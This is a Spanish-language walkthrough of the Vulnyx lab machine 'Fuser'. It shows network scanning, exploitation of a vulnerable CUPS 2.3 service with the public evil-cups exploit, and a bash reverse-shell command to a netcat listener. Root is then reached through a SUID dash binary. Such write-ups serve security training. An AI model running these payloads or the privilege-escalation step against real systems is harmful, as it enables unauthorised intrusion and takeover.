Máquina Fuser (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.41
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.41


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.41 -sVC

Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2280 y 631.

Comprobamos que es lo que corre por el puerto 80.


A continuación, realizamos con la herramienta gobuster un fuzzing web, no encontramos nada.

Comprobamos que es lo que corre por el puerto 631.


Vemos también como en la herramienta de nmap la versión de Cups 2.3 siendo esta vulnerable a Ejecución Remota de Comandos (RCE), por lo tanto, hacemos una búsqueda por internet de algún exploit.


Encontramos este exploit en github, nos lo descargamos para ello ejecutamos el siguiente comando:

$ git clone https://github.com/IppSec/evil-cups.git

A continuación, instalamos el requerimiento que necesitamos, para ello ejecutamos los siguientes comandos:

$ python3 -m venv ippserver
$ source ippserver/bin/activate
$ pip install ippserver

En nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos el exploit, para ello ejecutamos el siguiente comando:

$ python evilcups.py 10.0.2.4 10.0.2.41 "bash -c 'bash -i >& /dev/tcp/10.0.2.4/443 0>&1'"

Nos vamos a la web en Printers.

Vemos una impresora con nuestra IP, accedemos a ella.

Le damos click en Maintenance y en Print Test Page.

Obtenemos una shell como lp.

Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Buscamos todos los binarios con el bit SUID activado, para ello ejecutamos el siguiente comando:

$ find / -perm -4000 2>/dev/null

Como podemos comprobar el binario dash tiene el bit SUID activado, no eliminando los privilegios elevados pudiendo utilizarse de forma abusiva para escalar privilegios como una puerta trasera SUID, por lo tanto nos vamos a la página gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ /usr/bin/dash -p

¡¡¡Ya somos root!!!

También pudiendo leer las flags de user root.